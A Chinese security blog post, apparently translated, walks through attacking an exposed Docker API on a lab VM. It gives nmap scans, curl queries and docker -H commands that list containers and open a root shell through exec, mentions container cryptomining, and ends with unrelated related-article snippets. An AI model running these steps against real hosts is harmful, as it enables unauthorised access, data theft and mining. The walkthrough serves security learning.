【漏洞挖掘】攻击对外开放的Docker API接口
https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124
1)场景
攻击开放在互联网的Docker API
2)问题难点
Docker API外放有什么危害?
3)解决问题的方法
- 理解客户API公开互联网的原理
- 信息收集和枚举
- 利用Docker CLI测试暴露的API
- 批量挖掘
4)方法细节
理解客户API公开互联网的原理
1、/etc/systemd/system/docker.service.d/startup_options.conf
使用以下内容创建文件:
# /etc/systemd/system/docker.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376
注意: -H标志将dockerd绑定到侦听套接字,即Unix套接字或TCP端口。您可以指定多个-H标志以绑定到多个套接字/端口。默认的-H fd://使用systemd的套接字激活功能来引用/lib/systemd/system/docker.socket。
2、重新加载配置文件
$ sudo systemctl daemon-reload
3、使用新的启动选项重新启动docker守护程序:
$ sudo systemctl restart docker.service
Dockerd进程侦听端口2376
vagrant@ubuntu-xenial:~$ sudo netstat -tulpn | grep 2376
tcp6 0 0 :::2376 :::* LISTEN 4504/dockerd
vagrant@ubuntu-xenial:~$
信息收集和枚举
使用nmap端口扫描
sudo nmap -sS -T5 192.168.1.7 -p-
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:31 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00076s latency).
Not shown: 65498 closed ports, 35 filtered ports
PORT STATE SERVICE
22/tcp open ssh
2376/tcp open docker
MAC Address: 08:00:27:CA:62:F8 (Oracle VirtualBox virtual NIC)
如果使用nmap的服务检测可以直接检测出Docker的确切版本。
nmap -sTV -p 2376 192.168.1.7
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:35 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
2376/tcp open 18.06.0-ce Docker
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.78 seconds
向位于以下位置的端点发出GET请求,返回Docker的版本数据:
curl -s http://192.168.1.7:2376/version | python -m json.tool
从python2.6开始,多了个json.tool的东西。把json数据格式化显示出来。
>>echo '{"name": "lucy", "age": "18"}' | python -mjson.tool
{
"age": "18",
"name": "lucy"
}
- 利用Docker CLI测试暴露的API
docker -H <host>:<port> info
收集信息
运行的容器
docker -H 192.168.1.7:2376 ps
已经停止的容器
docker -H 192.168.1.7:2376 ps -a
查看镜像
docker -H 192.168.1.7:2376 images
访问容器
在容器内生成一个shell是通过exec
命令完成的,在这种情况下我们可能想要生成一个bash shell:
docker -H 192.168.1.7:2376 exec -it <container name> /bin/bash
容器内的默认用户是root,可以尝试进一步搜集容器里的信息,代码、配置文件、数据库。
利用容器挖矿
https://ww.getmonero.org/resources/user-guides/mining_with_xmrig_and_docker.html
批量挖掘
Shodan上暴露出来的API是760个
5)总结
在这篇文章中,研究了Docker相关的威胁。让Docker API暴露于互联网可能会导致数据丢失,加密,僵尸网络等问题
【漏洞挖掘】攻击对外开放的Docker API接口的更多相关文章
- 记一次Hvv中遇到的API接口泄露而引起的一系列漏洞
引言 最近朋友跟我一起把之前废弃的公众号做起来了,更名为鹿鸣安全团队,后面陆续会更新个人笔记,有趣的渗透经历,内网渗透相关话题等,欢迎大家关注 前言 Hvv中的一个很有趣的漏洞挖掘过程,从一个简单的A ...
- 前后端分离,如何防止api接口被恶意调用或攻击
无论网站,还是App目前基本都是基于api接口模式的开发,那么api的安全就尤为重要了.目前攻击最常见的就是“短信轰炸机”,由于短信接口验证是App,网站检验用户手机号最真实的途径,使用短信验证码在提 ...
- 四十五:漏洞发现-API接口服务之漏洞探针类型利用修复
接口服务类安全测试 根据前期信息收集针对目标端口服务类探针后进行的安全测试,主要涉及攻击方法:口令安全,WEB类漏洞,版本漏洞等,其中产生的危害可大可小,属于端口服务/第三方服务类安全测试.一般在已知 ...
- 使用YApi搭建API接口管理工具(docker安装)
使用YApi搭建API接口管理工具(docker安装) 工具描述 YApi 是高效.易用.功能强大的 api 管理平台,旨在为开发.产品.测试人员提供更优雅的接口管理服务.可以帮助开发者轻松创建.发布 ...
- 一篇RPO漏洞挖掘文章翻译加深理解。
这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它.这是一篇很有意思的漏洞挖掘文章. 前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了.但是思路真的牛皮.我决定花费时间和精力研究它们 ...
- Shodan在渗透测试及漏洞挖掘中的一些用法
渗透测试中,第一阶段就是信息搜集,这一阶段完成的如何决定了你之后的进行是否顺利,是否更容易.而关于信息收集的文章网上也是有太多.今天我们来通过一些例子来讲解如何正确使用Shodan这一利器. 想要利用 ...
- ActiveX 控件漏洞挖掘之方法
ActiveX是微软公司提出,并在1996年被正式命名的组件技术.该技术提供了一种通用的开放程序接口,使用这种技术开发的ActiveX控件可以直接集成到IE浏览器或第三方应用程序中,但由于第三方编程等 ...
- 浅析通过"监控"来辅助进行漏洞挖掘
这篇文章总结了一些笔者个人在漏洞挖掘这一块的"姿势",看了下好像也没相关类似TIPs或者文章出现,就写下此文. 本文作者:Auther : vulkey@MstLab(米斯特安全攻 ...
- 防盗链&CSRF&API接口幂等性设计
防盗链技术 CSRF(模拟请求) 分析防止伪造Token请求攻击 互联网API接口幂等性设计 忘记密码漏洞分析 1.Http请求防盗链 什么是防盗链 比如A网站有一张图片,被B网站直接通过img标签属 ...
随机推荐
- 自学Zabbix3.12.6-动作Action-Escalations配置
点击返回:自学Zabbix之路 点击返回:自学Zabbix4.0之路 点击返回:自学zabbix集锦 3.12.6 自学Zabbix3.12.6-动作Action-Escalations配置 1. 概 ...
- 洛谷 P1110 [ZJOI2007]报表统计 解题报告
P1110 [ZJOI2007]报表统计 题目描述 \(Q\)的妈妈是一个出纳,经常需要做一些统计报表的工作.今天是妈妈的生日,小\(Q\)希望可以帮妈妈分担一些工作,作为她的生日礼物之一. 经过仔细 ...
- A1061. Dating
Sherlock Holmes received a note with some strange strings: "Let's date! 3485djDkxh4hhGE 2984akD ...
- 上下文管理协议with_open,__enter__和__exit__(三十八)
在操作文件对象的时候可以这么写 with open('a.txt') as f: '代码块' 上述叫做上下文管理协议,即with语句,为了让一个对象兼容with语句,必须在这个对象的类中声明__ent ...
- C++中>>,<<的重载问题
在学习对运算符的重载的时候,重载了++,--(前缀后缀),并且都是在定义为类中的成员函数.但是当我尝试去重载>>,<<为某一个类的成员函数的时候,就会报错,无论如何改参数的属性 ...
- 结尾非零数的奇偶性(问题来源于PythonTip)
给你一个正整数列表 L, 判断列表内所有数字乘积的最后一个非零数字的奇偶性.如果为奇数输出1,偶数则输出0.. 例如:L=[2,8,3,50] 则输出:0 L = [2,8,3,50] c2 = 0 ...
- mongodb的备份和还原
1.首先把mongodb的bin加入环境变量 2.备份 我们使用mongodb内置的mongodump mongodump -h dbhost -d dbname -o dbdirectory 例如: ...
- java 中如何声明线程安全的集合 set, map 和list【转】
线程安全的集合 引用自 http://blog.sina.com.cn/s/blog_508938e10102v1ig.html //make thread-safe list List MyStrL ...
- android kotlin Gradle DSL method not found: '1.2.51()'错误,be using a version of the Android Gradle plug-in that does not contain the method (e.g. 'testCompile' was added in 1.1.0).
同步的时候遇到这个问题,从log上看是因为gradle的版本不包含kotlin 1.2.51这个method,具体原因我也不是很清楚,大概猜测是kotlin版本的问题,而最新的版本就是1.2.51,所 ...
- 简述var、let、const三者的区别
前二者为定义变量,const一般用来定义常量. 1.var声明变量可以重复声明,而let不可以重复声明 var name = 'xiaohuang'; var name = 'xiaolan'; co ...